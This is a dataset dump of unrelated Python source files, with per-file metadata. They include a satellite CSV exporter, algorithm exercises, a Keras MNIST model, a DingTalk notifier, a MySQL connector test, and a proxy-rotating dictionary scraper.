Example(None)\r\n ex.MainLoop() \r\n\r\nif __name__ == '__main__':\r\n main() ","sub_path":"SPICE-Computer-Program/EAGER_GUI/src/phase3loads/testListBox.py","file_name":"testListBox.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"220157822","text":"\n\ndef expand3d(pt):\n \"\"\" Expand specified point to be full LLA (latitude, longitude, altitude), even if only lon, lat was specified \"\"\"\n if (len(pt) == 3):\n return pt\n return pt[0], pt[1], 0.0\n\ndef to_text(name, lla, comment):\n lla = expand3d(lla)\n return \"%s, %11.7f, %11.7f, %11.7f, %s\" % (name, lla[0], lla[1], lla[2], comment)\n\ndef export2csv(outfile, satname, aos_ts, los_ts, aos_lla, los_lla,\n corner_ul, corner_ur, corner_ll, corner_lr, tle1, tle2, text):\n\n f = open(outfile, \"w\")\n\n txt = \"# Data generated using noaatools.\\n\"\n txt += \"# %s\\n\" % satname\n txt += \"# TLE:\\n\"\n txt += \"# %s\\n\" % tle1\n txt += \"# %s\\n\" % tle2\n txt += \"object, latitude [deg], longitude [deg], altitude [km], comment\\n\"\n txt += to_text(\"AOS\", aos_lla, aos_ts) + \"\\n\"\n txt += to_text(\"LOS\", los_lla, los_ts) + \"\\n\"\n txt += to_text(\"Upper Left Corner\", corner_ul, aos_ts) + \"\\n\"\n txt += to_text(\"Upper Right Corner\", corner_ur, aos_ts) + \"\\n\"\n txt += to_text(\"Lower Left Corner\", corner_ll, los_ts) + \"\\n\"\n txt += to_text(\"lower Right Corner\", corner_lr, los_ts) + \"\\n\"\n\n f.write(txt)\n f.close()\n\n print(\"Georeference data exported in CSV format to %s\" % outfile)\n","sub_path":"noaatools/export_csv.py","file_name":"export_csv.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"92905386","text":"class UtilGSC:\n # Verifica se ? atributo. Quando um campo do GSC ? nulo, o webservice n?o retorna o atributo.\n @staticmethod\n def VerificaAtributo(linha, atributo):\n if hasattr(linha, \"\"\"\"\"\" + atributo + \"\"\"\"\"\"):\n mega_algoritmo = str(linha[atributo]).replace(\"'\", \"\")\n return \"'{0}'\".format(mega_algoritmo)\n else:\n return 'NULL'\n\n @staticmethod\n def VerificaNulo(valor):\n try:\n if valor:\n return valor\n else:\n return 'NULL'\n except Exception as ex:\n print(ex)\n","sub_path":"CEPTIRJ_PAINEIS_CARGA/util/util_gsc.py","file_name":"util_gsc.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"282751400","text":"class Solution:\n def findPeakElement(self, nums: List[int]) -> int:\n if not nums:\n return -1\n nLen = len(nums)\n left = 0\n right = nLen - 1\n def isBigger(index1, index2):\n if index2 == -1 or index2 == nLen or nums[index1] > nums[index2]:\n return True\n return False\n while left < right:\n mid = left + (right - left) // 2\n if isBigger(mid, mid - 1) and isBigger(mid, mid + 1):\n return mid\n elif isBigger(mid, mid - 1):\n left = mid + 1\n else:\n right = mid \n if isBigger(left, left - 1) and isBigger(left, left + 1):\n return left\n return left","sub_path":"binary_search/162. 寻找峰值.py","file_name":"162. 寻找峰值.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"131946357","text":"from __future__ import (absolute_import, division, print_function,\n unicode_literals)\n# import tensorflow as tf\n\nfrom tensorflow.keras import datasets, layers, models\n(train_images, train_labels), (test_images,\n test_labels) = datasets.mnist.load_data()\n\ntrain_images = train_images.reshape((60000, 28, 28, 1))\ntest_images = test_images.reshape((10000, 28, 28, 1))\n\n# 特征缩放[0, 1]区间\ntrain_images, test_images = train_images / 255.0, test_images / 255.0\n\nmodel = models.Sequential()\nmodel.add(layers.Conv2D(32, (3, 3), activation='relu',\n input_shape=(28, 28, 1)))\nmodel.add(layers.MaxPooling2D((2, 2)))\nmodel.add(layers.Conv2D(64, (3, 3), activation='relu'))\nmodel.add(layers.MaxPooling2D((2, 2)))\nmodel.add(layers.Conv2D(64, (3, 3), activation='relu'))\nmodel.summary() # 显示模型的架构\n","sub_path":"data/mnist_test.py","file_name":"mnist_test.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"520471558","text":"import aiohttp\n\n# Logging\nimport logging\n_LOGGER = logging.getLogger(__name__)\n\n# Config validation\nimport voluptuous as vol\nimport homeassistant.helpers.config_validation as cv\n\nSERVICE_SCHEMA = vol.Schema({\n vol.Required('message'): cv.string,\n})\n\n\nclass dingmsg(object):\n\n def __init__(self, hass, conf):\n self._token = conf['token']\n self._secret = conf.get('secret')\n\n async def async_send_message(self, message, data):\n url = \"https://oapi.dingtalk.com/robot/send?access_token=\" + self._token\n if self._secret is not None:\n import time\n import hmac\n import hashlib\n import base64\n import urllib\n timestamp = round(time.time() * 1000)\n hmac_code = hmac.new(self._secret.encode('utf-8'), '{}\\n{}'.format(\n timestamp, self._secret).encode('utf-8'), digestmod=hashlib.sha256).digest()\n sign = urllib.parse.quote_plus(base64.b64encode(hmac_code))\n url += '×tamp=' + str(timestamp) + '&sign=' + sign\n\n _LOGGER.debug(\"URL: %s\", url)\n async with aiohttp.ClientSession() as session:\n async with session.post(url, json={'msgtype': 'text', 'text': {'content': message}}) as response:\n json = await response.json()\n if json['errcode'] != 0:\n _LOGGER.error(\"RESPONSE: %s\", await response.text())\n","sub_path":"custom_components/zhimsg/dingmsg.py","file_name":"dingmsg.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"68344625","text":"# -*- coding: utf-8 -*-\n\n# Copyright (c) 2015, 2018, Oracle and/or its affiliates. All rights reserved.\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License, version 2.0, as\n# published by the Free Software Foundation.\n#\n# This program is also distributed with certain software (including\n# but not limited to OpenSSL) that is licensed under separate terms,\n# as designated in a particular file or component or in included license\n# documentation. The authors of MySQL hereby grant you an\n# additional permission to link the program and your derivative works\n# with the separately licensed software that they have included with\n# MySQL.\n#\n# Without limiting anything contained in the foregoing, this file,\n# which is part of MySQL Connector/Python, is also subject to the\n# Universal FOSS Exception, version 1.0, a copy of which can be found at\n# http://oss.oracle.com/licenses/universal-foss-exception.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n# See the GNU General Public License, version 2.0, for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\nimport mysql.connector\nfrom tests import foreach_cnx\nimport tests\n\n# using \"/\" (slash) to avoid windows scape characters\nDATA_FILE = \"/\".join(['tests', 'data', 'random_big_bin.csv'])\n\nclass Bug21449996(tests.MySQLConnectorTests):\n\n def setUp(self):\n self.table_name = 'Bug21449996'\n cnx = mysql.connector.connect(**tests.get_mysql_config())\n cnx.cmd_query(\"DROP TABLE IF EXISTS %s\" % self.table_name)\n cnx.cmd_query(\"CREATE TABLE {0} (c1 BLOB) DEFAULT CHARSET=latin1\"\n \"\".format(self.table_name))\n cnx.close()\n\n def tearDown(self):\n cnx = mysql.connector.connect(**tests.get_mysql_config())\n cnx.cmd_query(\"DROP TABLE IF EXISTS %s\" % self.table_name)\n cnx.close()\n\n @foreach_cnx()\n def test_load_data_compressed(self):\n try:\n cur = self.cnx.cursor()\n sql = (\"LOAD DATA LOCAL INFILE '{0}' INTO TABLE {1} CHARACTER \"\n \"SET latin1\".format(DATA_FILE, self.table_name))\n cur.execute(sql)\n except mysql.connector.errors.InterfaceError as exc:\n raise\n self.fail(exc)\n\n cur.execute(\"SELECT COUNT(*) FROM %s\" % self.table_name)\n self.assertEqual(11486, cur.fetchone()[0])\n","sub_path":"external/mysql/mysql-connector-python-8.0.11/tests/issues/test_bug21449996.py","file_name":"test_bug21449996.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"610094279","text":"# coding=utf-8\n# Time: 2020-01-19-11:27 \n# Author: dongshichao\n\n'''\n插入一个整数到一个有序的数组中,并保证该数组是有序的\n返回下标\n'''\n\ndef insertArray(nums,A):\n if A<= nums[0]:\n return 0\n if A>=nums[-1]:\n return len(nums)\n # for i in range(1,len(nums)):\n # if nums[i-1] <= A <= nums[i]:\n # return i\n\n i,j=0,len(nums)-1\n while i <= j:\n mid = (j+i)//2\n if nums[mid] > A :\n j = mid-1\n elif nums[mid] < A:\n i = mid+1\n else:\n return mid\n return mid\n\n\nprint(insertArray([2,4,6,8,8,9,9,9,10],9))","sub_path":"review_answer/bytedance/arrayIndex.py","file_name":"arrayIndex.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"542366862","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n\"\"\"\n\n\ndef min_distances(word1, word2):\n \"\"\"\n \"\"\"\n m, n = len(word1), len(word2)\n\n if m * n == 0:\n return m + n\n\n dp = [[0] * (m+1) for _ in range(n+1)] # (n+1) * (m+1)\n\n # word2 列数据变为空字符时所需的步数\n for i in range(1, n+1):\n dp[i][0] = i\n\n # word1 行数据变为空字符串时所需的步数\n for j in range(1, m+1):\n dp[0][j] = j\n\n for i in range(1, n+1):\n for j in range(1, m+1):\n if word1[i-1] == word2[j-1]:\n dp[i][j] = dp[i-1][j-1]\n else:\n dp[i][j] = min(dp[i][j-1], dp[i-1][j]) + 1\n\n return dp[m][n]\n\n\nclass LongestPalindrome:\n\n def __init__(self):\n self.max_len = 0\n self.start_idx = 0\n\n def longest_palindrome(self, s):\n if not s:\n return \"\"\n\n if len(s) < 2:\n return s\n\n for idx in range(len(s)):\n self._support(idx, idx, s)\n self._support(idx, idx+1, s)\n\n return s[self.start_idx: self.start_idx + self.max_len]\n\n def _support(self, left, right, s):\n while left >= 0 and right <= len(s) - 1 and s[left] == s[right]:\n left -= 1\n right += 1\n if self.max_len < right - left - 1:\n self.max_len = right - left - 1\n self.start_idx = left + 1\n\n\ndef longest_valid_parentheses(s: str):\n \"\"\" case: (())\n dp[i] = dp[i-2] + 2 ==> s[i] == \")\" && s[i-1] == \"(\"\n dp[i] = dp[i-1] + 2 + dp[i-dp[i-1]-1] ==> s[i] == \")\" && s[i-1] == \")\"\n \"\"\"\n if not s:\n return 0\n\n dp = [0 for _ in range(len(s))]\n max_len = 0\n\n for i in range(1, len(s)):\n if s[i] == \")\":\n if s[i-1] == \"(\":\n dp[i] = (dp[i-2] if i >= 2 else 0) + 2\n elif i - dp[i-1] > 0 and s[i-dp[i-1]-1] == \"(\":\n # 中间长度 + 中间之前的长度 + ()\n dp[i] = dp[i-1] + (dp[i-dp[i-1]-2] if (i-dp[i-1]) >= 2 else 0) + 2\n max_len = max(max_len, dp[i])\n\n return max_len\n\n\ndef max_sub_array_sum(nums: list):\n if not nums:\n return 0\n\n tmp, max_val = nums[0], nums[0]\n\n # 负数相加整体变小\n for i in range(1, len(nums)):\n tmp = max(tmp + nums[i], nums[i])\n max_val = max(max_val, tmp)\n\n return max_val\n\n\ndef min_path_sum(grid: list) -> int:\n \"\"\" dp(i, j) 表示在点 从(0, 0) 到(i, j)处的最小路径和\n \"\"\"\n if not grid:\n return -1\n\n m, n = len(grid), len(grid[0])\n dp = [[0] * n for _ in range(m)] # m *n\n\n dp[0][0] = grid[0][0]\n\n # row = m\n for i in range(1, m):\n dp[i][0] = dp[i-1][0] + grid[i][0]\n\n # col = n\n for j in range(1, n):\n dp[0][j] = dp[0][j-1] + grid[0][j]\n\n for i in range(1, m):\n for j in range(1, n):\n dp[i][j] = min(dp[i-1][j], dp[i][j-1]) + grid[i][j]\n\n return dp[-1][-1]\n\n\ndef climb_stairs(n: int) -> int:\n \"\"\" dp[i] = dp[i-1] + dp[i-2]\n \"\"\"\n if n < 3:\n return n\n\n start_1, start_2 = 1, 2\n\n for i in range(3, n+1):\n start_1, start_2 = start_2, start_1 + start_2\n\n return start_2\n\n\ndef min_triangle_path_sum(triangle: list) -> int:\n \"\"\" 从底到顶\n dp[i][j] = triangle[i][j] + min(dp[i+1][j], dp[i+1][j+1])\n \"\"\"\n if not triangle:\n return -1\n\n n = len(triangle)\n dp = [[0] * len(triangle[-1]) for _ in range(n)]\n for i in range(len(triangle[-1])):\n dp[-1][i] = triangle[-1][i]\n\n for i in range(n-2, -1, -1):\n for j in range(len(triangle[i])):\n dp[i][j] = triangle[i][j] + min(dp[i+1][j], dp[i+1][j+1])\n\n return dp[0][0]\n\n\ndef words_break(s: str, word_list: list) -> bool:\n \"\"\" \"applepenapple\", wordDict = [\"apple\", \"pen\"] => True\n 设dp(i)表示以第i个字符结尾(不包含第i个字符)的子字符串是否能拆分成字典中的单词\n \"\"\"\n if not word_list:\n return not s\n\n dp = [False for _ in range(len(s) + 1)]\n dp[0] = True\n\n for i in range(1, len(s) + 1):\n for j in range(i)[::-1]:\n if dp[j] and s[j:i] in word_list:\n dp[i] = True\n break\n\n return dp[-1]\n\n\ndef calculate_min_start_hp(dungeon: list) -> int:\n \"\"\" 计算从左上角走到右下角中骑士所需的最少生命值, 从左下角开始计算\n \"\"\"\n row, col = len(dungeon), len(dungeon[0])\n\n dp = [[0] * col for _ in range(row)]\n # 走到最后一格最少为一滴血\n dp[-1][-1] = 1 if dungeon[-1][-1] > 0 else abs(dungeon[-1][-1]) + 1\n\n for i in range(col-2, -1, -1):\n dp[-1][i] = max(1, dp[-1][i+1] - dungeon[-1][i])\n\n for j in range(row-2, -1, -1):\n dp[j][-1] = max(1, dp[j+1][-1] - dungeon[j][-1])\n\n for i in range(row-2, -1, -1):\n for j in range(col-2, -1, -1):\n dp[i][j] = max(1, min(dp[i+1][j], dp[i][j-1]) - dungeon[i][j])\n\n return dp[0][0]\n\n\ndef rob_house_max_profit(nums: list) -> int:\n \"\"\" 抢劫房屋是利益最大化,注意:不能抢劫相邻的两座房屋 198\n \"\"\"\n if not nums:\n return -1\n\n if len(nums) <= 2:\n return max(nums)\n\n pre, max_profit = nums[0], max(nums[0], nums[1])\n\n for i in range(2, len(nums)):\n tmp = max_profit\n max_profit, pre = max(pre + nums[i], max_profit), max_profit\n pre = tmp\n\n return max_profit\n\n\ndef rob_house_max_profit_2(nums: list) -> int:\n \"\"\" max(0~len-1, 1~len)\n \"\"\"\n return max(rob_house_max_profit(nums), rob_house_max_profit(nums[1:] + nums[:1]))\n\n\ndef num_squares(n: int):\n \"\"\" 给出整数找到组成该数所需的最小的平方数个数 279\n dp[i] = min(dp[i], dp[i-j*j] + 1) j < sqrt(i)\n \"\"\"\n if n <= 0:\n return 0\n\n dp = [float(\"inf\") for _ in range(n+1)]\n\n for i in range(n+1):\n j = 1\n\n # 问题转换为去掉一个数的平方之后的数是由几个平方数构成\n while i - j*j >= 0:\n dp[i] = min(dp[i], dp[i-j*j] + 1)\n j += 1\n\n return dp[n]\n\n\ndef length_of_lis(nums: list) -> int:\n \"\"\" 300 最长递增子序列 [10,9,2,5,3,7,101,18] =》[2, 3, 7, 101] => 4\n dp[i] 表示以 nums[i] 为结尾的最长递增子串的长度\n \"\"\"\n if not nums:\n return 0\n\n dp = [1 for _ in range(len(nums))]\n\n for i in range(1, len(nums)):\n for j in range(i):\n if nums[i] > nums[j]:\n dp[i] = max(dp[i], dp[j] + 1)\n\n return max(dp)\n\n\ndef max_profit_k(prices: list) -> int:\n \"\"\" 309 操作买卖股票,赚取最大的利益, 不限制操作次数,买进当天不能卖出\n\n dp[i][k][0] = max(dp[i-1][k][0], dp[i-1][k][1] + prices[i])\n dp[i][k][1] = max(dp[i-1][k][1], dp[i-1][k-1][0] - prices[i])\n\n if k ==> +inf k == k+1\n \"\"\"\n if not prices:\n return 0\n\n # 第i天手里没有股票和有股票最大利益\n dp_i_0, dp_i_1 = 0, float(\"-inf\")\n\n for i in range(len(prices)):\n tmp = dp_i_0\n dp_i_0 = max(dp_i_0, dp_i_1 + prices[i])\n dp_i_1 = max(dp_i_1, tmp - prices[i])\n\n return dp_i_0\n\n\ndef max_profit_1(prices: list) -> int:\n \"\"\" 买卖股票,只有一次操作机会 i, k, l: 第i天,操作次数,手里是否持股, 操作次数k只和买入有关\n dp[i][1][0] = max(dp[i-1][1][0], dp[i-1][1][1] + prices[i])\n dp[i][0][1] = max(dp[i-1][0][1], dp[i-1][0][0] - prices[i])\n dp[i-1][0][0] == None\n \"\"\"\n if not prices:\n return -1\n\n dp_0, dp_1 = 0, float(\"-inf\")\n\n for i in range(len(prices)):\n dp_0 = max(dp_0, dp_1 + prices[i])\n dp_1 = max(dp_1, -prices[i])\n\n return dp_0\n\n\ndef coin_change(coins: list, amount: int) -> int:\n \"\"\" 322 用给予的coins来进行找零对amount进行找零,数量最少,不能满足要求返回-1\n \"\"\"\n dp = [amount + 1 for i in range(amount + 1)]\n\n dp[0] = 0\n\n for i in range(1, amount+1):\n for coin in coins:\n if coin <= i:\n dp[i] = min(dp[i], dp[i-coin] + 1)\n\n return -1 if dp[amount] > amount else dp[amount]\n\n\ndef rob_tree(root):\n \"\"\" 注意,不能抢劫相邻的两层树\n \"\"\"\n\n if not root:\n return 0\n\n # 不抢劫根节点\n not_rot = 0\n if root.left:\n not_rot += rob_tree(root.left)\n\n if root.right:\n not_rot += rob_tree(root.right)\n\n # 抢劫根节点\n rob_root = root.val\n\n if root.left:\n if root.left.left:\n rob_root += rob_tree(root.left.left)\n if root.left.right:\n rob_root += rob_tree(root.left.right)\n\n if root.right:\n if root.right.left:\n rob_root += rob_tree(root.right.left)\n if root.right.right:\n rob_root += rob_tree(root.right.right)\n\n return max(not_rot, rob_root)\n\n\ndef can_partition(nums: list) -> bool:\n \"\"\"\n \"\"\"\n pass\n\n\ndef print_strings(strs: str):\n \"\"\"\n \"\"\"\n left, stack, curr = 0, [], \"\"\n while left < len(strs):\n if strs[left] == \"(\" or strs[left].isalpha():\n stack.append(strs[left])\n left += 1\n elif strs[left] == \")\":\n tmp = []\n while stack and left <= len(strs):\n c = stack.pop()\n if c == \"(\":\n break\n else:\n tmp.append(c)\n left += 1\n\n times = []\n for elem in strs[left:]:\n if elem.isdigit():\n times.append(elem)\n else:\n break\n time = int(\"\".join(times))\n left += len(times)\n stack.extend(tmp[::-1] * time)\n else:\n time = []\n a = stack.pop()\n for val in strs[left:]:\n if val.isdigit():\n time.append(val)\n else:\n break\n left += len(time)\n stack.append(a * int(\"\".join(time)))\n\n return \"\".join(stack)\n\n\nif __name__ == '__main__':\n # p = [2, 0, 4, 6, 2, 4]\n # ans = max_profit_1(p)\n # print(ans)\n #\n # ans = max_profit_k(p)\n # print(ans)\n\n # a = print_strings(\"A11B\")\n # print(a)\n #\n # b = print_strings(\"(AA)2A\")\n # print(b)\n # print(print_strings(\"((A2B)2)2G\"))\n # print(print_strings(\"(YUANFUDAO)2JIAYOU\"))\n # print(print_strings(\"A2BC4D2\"))\n\n s = \"))((()))\"\n a = longest_valid_parentheses(s)\n print(a)\n\n\n","sub_path":"src/leetcode/dynamic_programming.py","file_name":"dynamic_programming.py","file_ext":"py","file_size_in_byte":10406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"119396214","text":"import numpy as np\n\nwith open(\"../../data/input/Binary-Classification/breast-cancer.data\", \"r\") as fr:\n with open(\"data.data\", \"w\") as fw:\n for line in fr:\n line_list = line.split(\",\")\n\n if line_list[-1][0] == \"0\":\n line_list[-1] = \"-1.0\\n\"\n\n line_new = \",\".join(line_list)\n print(line_new)\n\n fw.write(line_new)\n","sub_path":"data/input/Binary-Classification/data_preprocess.py","file_name":"data_preprocess.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"428614674","text":"\nimport urllib.request\nfrom bs4 import BeautifulSoup\nimport re\nimport json\nimport time\nfrom django.utils.text import slugify\nimport requests\n\nfrom random import choice\n\nimport pprint\nimport threading\nfrom reading.models import ReadingPostVocabulary\nimport helper\nimport logging\nimport inspect\nfrom django.core.mail import send_mail\n\n\n\nfrom flashcard.config import ConfigPath\n\nimport local_config\n\nfile_path = ConfigPath.PATH_WORK_DIR\n\nimport concurrent\n\nclass myThread (threading.Thread):\n def __init__(self, threadID, name, func):\n threading.Thread.__init__(self)\n self.threadID = threadID\n self.name = name\n self.func = func\n\n def run(self):\n print(\"Starting \" + self.name)\n self.func\n\n\nclass SearchVocabularyBase:\n word_cover = {}\n word_explains = []\n vocabularySearch = ''\n initialVocabularySearch = ''\n soup = ''\n searchResult = False\n\n def __init__(self, vocabularySearch, proxy):\n self.word_cover = {}\n self.word_explains = []\n self.vocabularySearch = vocabularySearch\n self.initialVocabularySearch = vocabularySearch\n self.proxy = proxy\n\n url = f'https://www.oxfordlearnersdictionaries.com/definition/english/{vocabularySearch}'\n\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\"}\n\n source = requests.get(url, headers=headers, timeout=7, proxies=proxy)\n # print('user agent: ', source.headers)\n\n self.soup = BeautifulSoup(source.content, 'html5lib')\n\n def searchBaseVocabulary(self,):\n # vocabulary = self.vocabularySearch\n # print('--->vocabulary search : ')\n\n # source = requests.get('https://www.oxfordlearnersdictionaries.com/definition/english/')\n\n # print(source)\n # print('---->url search : ', source)\n vocabulary = self.vocabularySearch\n\n try:\n word_name = self.soup.select_one(\n \"h1\", id=re.compile(vocabulary+'_h_(.)'))\n word_pronounciation_br = self.soup.find(\"div\", id=re.compile(\n vocabulary+'_topg_(.)')).find('div', 'phons_br').find('span', 'phon')\n word_pronounciation_am = self.soup.find(\"div\", id=re.compile(\n vocabulary+'_topg_(.)')).find('div', 'phons_n_am').find('span', 'phon')\n word_type = self.soup.find(\"div\", id=re.compile(\n vocabulary+'_topg_(.)')).find('span', 'pos')\n word_sound_uk = self.soup.find(\n \"div\", \"sound audio_play_button pron-uk icon-audio\")['data-src-mp3']\n word_sound_us = self.soup.find(\n \"div\", \"sound audio_play_button pron-us icon-audio\")['data-src-mp3']\n\n self.word_cover['name'] = self.initialVocabularySearch\n self.word_cover['pronunciation_uk'] = word_pronounciation_br.text\n self.word_cover['pronunciation_us'] = word_pronounciation_am.text\n self.word_cover['type'] = word_type.text\n self.word_cover['sound_uk'] = word_sound_uk\n self.word_cover['sound_us'] = word_sound_us\n\n self.get_word_explains(vocabulary)\n self.searchResult = True\n return {\"debug\": 'true'}\n\n except:\n print('error in vocabulary firstly')\n\n try:\n vocabulary_underscore = vocabulary.replace('-', '_')\n\n word_name = self.soup.select_one(\n \"h1\", id=re.compile(vocabulary_underscore+'_h_(.)'))\n word_pronounciation_br = self.soup.find(\"div\", id=re.compile(\n vocabulary_underscore+'_topg_(.)')).find('div', 'phons_br').find('span', 'phon')\n word_pronounciation_am = self.soup.find(\"div\", id=re.compile(\n vocabulary_underscore+'_topg_(.)')).find('div', 'phons_n_am').find('span', 'phon')\n\n word_type = self.soup.find(\"div\", id=re.compile(\n vocabulary_underscore+'_topg_(.)')).find('span', 'pos')\n word_sound_uk = self.soup.find(\n \"div\", \"sound audio_play_button pron-uk icon-audio\")['data-src-mp3']\n word_sound_us = self.soup.find(\n \"div\", \"sound audio_play_button pron-us icon-audio\")['data-src-mp3']\n\n self.word_cover['name'] = self.initialVocabularySearch\n self.word_cover['pronunciation_uk'] = word_pronounciation_br.text\n self.word_cover['pronunciation_us'] = word_pronounciation_am.text\n self.word_cover['type'] = word_type.text\n self.word_cover['sound_uk'] = word_sound_uk\n self.word_cover['sound_us'] = word_sound_us\n\n self.get_word_explains(vocabulary_underscore)\n self.searchResult = True\n\n return {\"debug\": 'true'}\n\n except:\n print('error in secondary vocabulary_underscore')\n\n try:\n vocabulary_nospace = vocabulary.replace('-', '')\n\n word_name = self.soup.select_one(\n \"h1\", id=re.compile(vocabulary_nospace+'_h_(.)'))\n word_pronounciation_br = self.soup.find(\"div\", id=re.compile(\n vocabulary_nospace+'_topg_(.)')).find('div', 'phons_br').find('span', 'phon')\n word_pronounciation_am = self.soup.find(\"div\", id=re.compile(\n vocabulary_nospace+'_topg_(.)')).find('div', 'phons_n_am').find('span', 'phon')\n word_type = self.soup.find(\"div\", id=re.compile(\n vocabulary_nospace+'_topg_(.)')).find('span', 'pos')\n word_sound_uk = self.soup.find(\n \"div\", \"sound audio_play_button pron-uk icon-audio\")['data-src-mp3']\n word_sound_us = self.soup.find(\n \"div\", \"sound audio_play_button pron-us icon-audio\")['data-src-mp3']\n\n self.word_cover['name'] = self.initialVocabularySearch\n self.word_cover['pronunciation_uk'] = word_pronounciation_br.text\n self.word_cover['pronunciation_us'] = word_pronounciation_am.text\n self.word_cover['type'] = word_type.text\n self.word_cover['sound_uk'] = word_sound_uk\n self.word_cover['sound_us'] = word_sound_us\n\n self.get_word_explains(vocabulary_nospace)\n self.searchResult = True\n return {\"debug\": 'true'}\n except:\n print(\"error in third vocabulary_underscore\")\n\n try:\n # return {'debug':'not found word but exist in dictionary'}\n if(self.searchResult is False):\n newVocabularySearch = self.vocabularySearch\n self.vocabularySearch = newVocabularySearch+'1'\n self.searchResult = True\n self.searchVocabulary()\n\n except:\n print(\"error in fourth try to recursion\")\n\n def get_search_data(self,):\n\n return {\n \"word_cover\": self.word_cover,\n \"word_explaning\": self.word_explains\n }\n\n def get_word_explains(self, vocabulary):\n\n # create list word explains\n vocabulary_nospace = vocabulary.replace('-', '')\n\n vocabulary_final = vocabulary_nospace.replace('_', '')\n\n print('vocabulary final: ', vocabulary_final)\n # get all element cover by vocabulary\n try:\n word_explain_covers = self.soup.select_one('.senses_multiple').find_all(\n \"li\", id=re.compile(vocabulary_final+'(.?)_sng_(.)'))\n except:\n word_explain_covers = self.soup.select_one('.sense_single').find_all(\n \"li\", id=re.compile(vocabulary_final+'(.?)_sng_(.)'))\n\n # loop to get one by one definitions by vocabulary\n\n c = 0\n for w in word_explain_covers:\n # print(\"================\")\n # print(str(c)+\": \"+w.find('span','def').text)\n explain_name = w.find('span', 'def').text\n c += 1\n explain = {}\n explain['id'] = c\n explain['title'] = explain_name\n # create a list to save all examples of definition\n word_examples = []\n\n # get element cover examples of definition\n examples = w.select('ul.examples li span.x')\n\n # loop to get one by one example of definition\n for e in examples:\n word_examples.append(e.text)\n\n # save word examples list into word explains dictionary\n explain['example'] = word_examples\n\n # Add expolain after get full of information\n self.word_explains.append(explain)\n\n\ndef searchVocabulary(vocabulary, proxy,readingpost_id):\n\n word_slug = slugify(vocabulary)\n # proxy_data = \"145.40.78.181:3128\"\n proxy_parse = {\n \"http\": f\"http://{proxy}\",\n \"https\": f\"https://{proxy}\"\n }\n search = SearchVocabularyBase(word_slug, proxy_parse)\n search.searchBaseVocabulary()\n # search.get_word_explains()\n data_search = search.get_search_data()\n\n # pp = pprint.PrettyPrinter(indent=4)\n # pp.pprint(data_search)\n\n word = data_search.get('word_cover')\n name = word.get('name')\n word_type = word.get('type')\n phon_us = word.get('pronunciation_us')\n phon_uk = word.get('pronunciation_uk')\n sound_us = word.get('sound_us')\n sound_uk = word.get('sound_uk')\n definitions_examples = data_search.get('word_explaning')\n definition = definitions_examples[0]['title']\n example = definitions_examples[0]['example'][0]\n\n if sound_us and sound_uk:\n # print('sound_us: ', sound_us)\n file_name_us = f'{name}+{word_type}+us.mp3'\n file_name_uk = f'{name}+{word_type}+uk.mp3'\n # helper.downloadFileFromUrl(proxy, sound_us, file_name)\n \n with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:\n executor.submit(helper.downloadFileFromUrl,proxy,sound_us,file_name_us)\n executor.submit(helper.downloadFileFromUrl,proxy,sound_uk,file_name_uk)\n\n vocabulary = ReadingPostVocabulary()\n vocabulary.name = name\n vocabulary.word_type = word_type\n vocabulary.phon_us = phon_us\n vocabulary.phon_uk = phon_uk\n vocabulary.sound_us = '/audio/'+file_name_us\n vocabulary.sound_uk = '/audio/'+file_name_uk\n vocabulary.definition = definition\n vocabulary.example = example\n vocabulary.reading_post_id = readingpost_id\n vocabulary.save() \n\n print(f\"Saved <{vocabulary}> successfully.\")\n message = f\"Saved <{vocabulary}> successfully.\"\n\n helper.log_message(message)\n\n\ndef check_search(word,topic):\n\n count = 1\n # send_mail('search vocabulary', 'search start', 'thuan20202000@gmail.com',\n # ['thuan20132000@gmail.com'], fail_silently=False)\n cancel_count = 1\n while True:\n try:\n if cancel_count >= 28:\n helper.log_message(\"Break search <<%s>>\" % word)\n break\n print(f\"Searching {word}\")\n\n if(count >= 10):\n helper.generate_proxy()\n print(\"Generated New Proxy\")\n count = 1\n continue\n\n proxy = helper.choose_random(local_config.PATH_WORK_DIR+\"/proxy_data.txt\")\n\n if proxy:\n print(f\"Searching {word} turn {count} with proxy: {proxy} \")\n searchVocabulary(word, proxy,topic)\n return False\n else:\n return False\n\n except Exception as e:\n print(f\"Search error {count} : {e}\")\n message = f\"error: {e}\"\n helper.log_message(e)\n count += 1\n cancel_count += 1\n\n continue\n\n\n# check_search('bureaucracy',1)\n\n\n\n\ndef read_vocabulary_to_search(file,readingpost_id):\n\n try:\n start = time.time()\n # Using readlines()\n file1 = open(file, 'r')\n Lines = file1.readlines()\n count = 